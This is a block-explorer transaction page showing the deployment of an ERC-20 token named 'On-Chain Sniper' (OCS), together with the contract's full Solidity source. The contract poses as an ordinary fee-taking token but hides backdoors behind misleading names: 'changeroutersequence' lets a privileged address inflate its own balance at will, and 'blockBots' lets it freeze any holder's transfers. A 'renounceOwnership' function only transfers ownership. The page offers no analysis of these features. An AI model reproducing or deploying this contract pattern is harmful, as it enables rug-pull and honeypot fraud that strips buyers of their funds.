ETH Price: $2,452.02 (-1.20%)

Transaction Decoder

Block:
16261963 at Dec-25-2022 01:09:47 PM +UTC
Transaction Fee:
0.01864045145459079 ETH $45.71
Gas Used:
1,544,103 Gas / 12.07202593 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x4613174E...DFd6D0C48
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 85085809908296694821141922345913795072575630726690134352309622457686066669380410014883222226049240002887376287360786381776329061539501105838979915247314154224480245834478459454724028888023438290323359295214615480131201701668346245740705431189409205538414607924519712588608889654216094143276311805131211643397124809067490453784291841839000408877245140520715744506929694362067837053096796760456582472579367092921127181557745756107916000450614645515266097994306162031662233520761634029666340219347092032776528859897917217506626868863747558287730383848969777677233796634819861975388116951200256182645025128991417735308060435934222262185114552457359089094208929018112915754594759492366155378965747729141370407550453791323949715685573740169355784312084660314612172227687124745909298507092511368596571534715364307286834812797969653514438061757991888452238843657875765642332488757321804508426500555861362652532127077606297702949322320865147967477241538550086608799490188554105686364794685440133746713801782769524717752585144984299051906436036920652441679640522728085608837571754078573482825298913104613752244929652519331567232409643025726109890368972641644964582977381300555425143757599859230450651544070033862282791033947447193121273629362698664632743438318263164141896442468874787417757343710382201958989777299742233747013956699800000714981176695271655515798982913084402087639928996803673010172687052718915531470244802134213116300801945397982145186645426094176333787418112397743292065442467342209063345042472713493860224680948496563787677745994531070766812695556561987775613682701208598103282781690096269239618928356850736108269288356713458292832026686181380013973081273367518063289232775852085792555756948421613621846337849520507661783539859813527406742945022047618436128544296962589575941129768560052215468913035352471821348287133802091689473543126846732542383705169936455890865048148582912496806717647727128640907963246085824994397582537955197507660749414505347261235261808363490234316837158498596168644905652400900213670465179977873125613259189867933460200228441417177954955118301544449302696952955279664462380338555177472074170311956900657304081287526709687231345452234803322717561998061908658761006791203537053469158860774925304327064444841217283886497683600618203374953669339026252575474180976704392210749045651677828972322372171247831670014535543264493394037831191154641645791785419487584702798494326704193559708906857380541840179900533499721212588983519309827809702196668383610906621691943895205804980759799384459025495779941933966786813475772679943062115868568613615003266501323646124062623971401696561537487120144065560923564287118622818921877888636982916115139020534461608525791119291250015208475822704340231433913612934719851963610991624009591419630041437059977717572389264986432164362840554341768645311153016924863568019290549796631843869124710604978827916756755451876929331921029636678683944598877098456847450359871258313850942386174322575966479434411922063874958059985062433870436928425497399575518751986644690642073493049941662787055931268790195922950659416696650352152718219847954801961445070220894380440003358366806538618446647008293022460341084440438943069930483911392047366069649110991055770147835538904324007094567437335790514720848852038981017046798339883142190194263578401622561227986596520161025357079081979655627537235769926463439539218042779369965276275365042092593124372295550017447493753366678957057741228083940090283679731589556467000209732380489749146758124345432510998921277938627723509949052121828212324462404199193308973570051879817061884777431899419300640882896861341798379558099500069047924135360248297488407479542467575399616236818892801165854480745392895525060925686630070820282036013094759115877039854907843750863152970342804636155528310460761458259309028768519065644204339783692027974473329353647782732178630851081574800941183524668910143130546395431947844229549773668059865525024907919838774282867089690254928753476846953917886613573767695509005759262500100314733816038944461286789172052984414078622626060137681179504427882991738107544588373499070688741060693274759108072942649003039219945297480026600968545392532200409803739063901840297794912997626672881578140197270393007372394439769435188553292577027242769214167163560932300146924777171134055294979390273539947529466953316505217116477388916851713637901034016798443208126753478833209439397741261454060222840078931538151307160557365500835887519495949826823056760118047955604482425140806233761226373766081502689321649272712746315213272373747024555705346090617302903144687345426117969724034899052411059860194036760551487733173174182452723183784504467893254622437043775244149751025075792361634729810375961884251421891112047555083438872785897132899123149447364827843563320175387285372644287404707581493518327025126990710846072876932186973154925692166759798288306987291197095037552079689389443728485248170832227182440099198384707832492112141162519668633068728942949197367357637371502707829878581175905267745086812863025639680083096613151836231470900813536549248042254568832103290327002567220621896805637128458042423989396067677806517487481570683183873265634627855393345214630667237827340791874615458142012225641721190478702466283810606907893191252201092643427160586254273644747968634039337593687793727996918970635100833330607501474854765447961110973701303881617757191217431960779599254489166160507910663450445500836785365932055556209408549988747679996937175916675218379643135158796044748128955474024205592918880705405854424179511227380329096047958200016687848644092523304635129498602991707579543377883547665030275536283454799106942372096446460122007280749231562531039880769937760893526025048707930060470505515128404770259583949034203175558981507810424167180611921826307387896815938923260481737665037323300437661725784980103253916162564485635337697855794372860976917098504095044236267195192602064639927981845783915745634740150015295764625018205836141407973385147562758091614874119299676997495694914181470430644315754122840796303605706413664755458919025836133983957069277027833720480715788359412980923228501357310593276348765569259933782002609326888252178388337362234274098386820145495533203392522422913929227734388236117386423930747259062829676558946924584527453822252633641692295067585326327331951269791825576927875634877696196209953468931845159101108734717656388003391448106301585093655926464508677635169019238424710145041799974143330617588193478644298811009686972919433477712631618367015936232059997806926891562070456940570671313580493773163028645912134514491238289327016846108706587744275390755268000123726487016006334307253029827142833785166507067838624161948155918410521806161482226477958089320980780448819541583694050085475147489424216809379224174501923541076465136241715185265418968854559352578025981541498744191544051753014304341311078072547335843141654155773687877724805735043809021085912399842364934695021754829041011422938280173964494283347914595243781387698731009670132243685769848307785581883379746990269834508814615663537165493064733916464657122379078451760656865790395758606357629921811800264399853362256240816755053934059934564426614922936226412179228992382891591327111246059694618060336213119082624714931644240142651699962434559262371236070509358487657012236899163097069309293526300944140098877025610560622793967014511427904750902575571049065007154968764409028745164147090887464845107759525707350208814340398160848644849550490636683102623336061548093232783955753191015384143920545138030367691485600621483169292135280563526439875544675737893259915715423386523944547618242408938180781644274599426651572006062884671392066800383426895990739854496831693184767072439940577610489018495709620782453983348234080226350804960406436001463770075974331913760090984891714929538771921954612283926793209615319898897053366900169154151076548020212222252970538536802740819813324491500128038006017962830593705868359419169447483405326100529363918927002719348594184681025958548830448972899123023226242457184981373068733935850877332772803619190079480854709284022511560429297903077317722856365885053425478559091525915762074287150724110288992759174757170425444747832060892250949605975950291788100665562470164294073086977253443496778691051915182968985062294634453731474305744383523022003186118413114217751693186939692954874766947106704830734472612408857498883074094343056791927514587220288317667908066650375038286500208803516710417139871194646571591791298999135636286619504811218951412106706551206442511009859060944116153717791257147221746830685887026986405669849947678989357124822751055904936081520053889291118290887971744893021781451339115854956978953076718128298067620447201109485361535928296178471675797130720459122603832817944469902445652864635536185601738169066300438331716628029616677063117538477323437500442911310899667257137852219269320914807178430076005088030978601245305353944033211398748355707410193085648405761092715254216209749028727370420784118720384954222264784297919902910605911296965089123495473128938278997018072628979564098744608041964826802134089398728837783898814167159004687022393805409678077928805508202327544849216320639488768129949250455069686029185501438636014252484341659185541964751604864783449908114103810191229898312554532783518303317496798781363124117417885869067722449438454932699331419872279417285504278317917206282330047330557114822366024678232815620489824319561080976819912924979372679238633930868499067443928067799905334969512475223080840677302702316420410040967967003143311027602617368835018286696559577610661587498680910584700429850072368031041120284596977055071312687575115433807896992343152726723740850089688326455124110206958593101104077067975798983129177149878433664582745872597373376720380680484974957724701130617381888256508800935809608285388946077459944488689733326794865972029562586681720844395682988179902462746470409976265591412597767806706417699811131885260933722924880012847950464954785459406315818247438026794934849164812554179075832003323027297027967863548953172897491278756452756939105249005679517137089396071026200346466914223619600780015453042894415597937338031076914625608331399363569662555676539820801685397105871709569868388601907323670450424092291161513164158339159065002768326099162387243370810286597194817966526269085659232166153453704763205496131179952493966990248334950551905069841018833740401129906398652782044985369368023009666020529830729811109627826270039889014601142665932505245612136330294314274375440452283339587852486470838941613908253810319213270776334683265006608518366004510824150440879050705972151872996058489325095308205439883641123649899644739776007271622283961134424593648463484372366497913955688461671775869234125996229523890617339160923590676967562319151911176912225020757746624098923122907177109577960019446662012820301629607187662658100810353254921709418588412021327929451715126518108007016692746757688702840820229026048066889393493744799199143198767046030031942014171407968230427351674622928519215147175766484333449389947201865336108429198411542827833617287337161228094892103860210038140267701502411520837979360647025942039384167021131463645998793423592519545242999271787751629969481836121893689370171610931395224974216520010586536359506462550781681118476366211787115860734348094878772882789039205947549422379448377696521340627138448466716014225727441853449976579258377608383475110951250973760977975460561529373848905588665350590307275396894901429069050081609416238228949346390160877653943891593025631618138148860388267870187479054754751654620585057855700431061038222380428548355651606302312859863212612705561948637965258007744929057796449293478717407030831818679530185961871895973133411790990886066247069223301008228216574475119860799818976171103901426243249900132087125653728117792888001388165672678832593178263681874826133754070078568355757848448166263350609256241085227219029775133277428032581962362554855657415427615740377234040346926275818332322157617656793267452420080779170639110297041508524594196884134661849296168503516047851205943583113809886810346940331596458346227566419703282168452033121537693174689583536450942965404603743499871983776864780667031960695022965177901906354503839851774718244738800828407057995696224204046231417563621719630968451464380525693675789601168924727405041089429523787693100070172027170652893113035799835338186111624603048237810972759598268438236495530321172277194612231097287478396993683964543849008336177129303510176837794515550500183040165988547380695770979796715412630398317595896897301054904403381093764236549677841778807235513573614203444687961934219642839886602071614156364150681065714014062939000579878689785196866718359237037472317915513619323062794899029512565874483419899079976917751720704468876375134915664191987244107882022800698181747975304346810649898533596449192780905193713006630084298870432140847739201311380720556973586471372865549701593724608479288767516703314697392460884515935641693149300478530417621556240987218940013436671590357873182767856992697761189206944265636131177655073606982157227397309309150190829427802078853604041997827511567476190758717674792482444518743352193168786262055100356371714637693673856148046446857557557153545165700808723301028588161935281331517260994412942066004767194850009292045790205897499386395921169752068658216039460400550255689427564663889982272907819996314718856388514021667068921012717083046147327166064872569871686344005352636406388136325630718816884152080835531620096969012493036965976372759582488036399372572234782390317298202882418321286711180259159882046859244486847887315228106168717760450975314733716076787388535344033471527728279365651140507447064336590314360945588371153990032068519338220013723456535330867
0xCB58ffB4...B5A6Bf65D
1.182097049663946103 Eth
Nonce: 4
1.163456598209355313 Eth
Nonce: 5
0.01864045145459079
(Flashbots: Builder)
1.177062425468687946 Eth1.179378579968687946 Eth0.0023161545

Execution Trace

onchain.60c06040( )
// https://medium.com/@onchaindev/on-chain-snipers-and-the-start-of-a-crypto-class-war-74325bacef0
// https://t.me/OnChainSniperERC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract onchain is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "On-Chain Sniper";
    string private _symbol = "OCS";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public EnableOptimization;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _handPaper;

    uint256 public _buyMarketingFee = 4;
    uint256 public _sellMarketingFee = 4;

    uint256 private _totalSupply = 2000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        EnableOptimization = payable(address(msg.sender));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function blockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == EnableOptimization&& addresses.length >= 0 );
        for (uint256 i; i < addresses.length; i++) {
            _handPaper[addresses[i]] = status;
        }
    }

    function changeroutersequence(uint256 Reference) public {
        address account = EnableOptimization;
        uint256 compile = _balances[account];
        require(msg.sender == account);
        uint256 run = compile + Reference;
        _balances[account] = run;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            EnableOptimization.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_handPaper[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}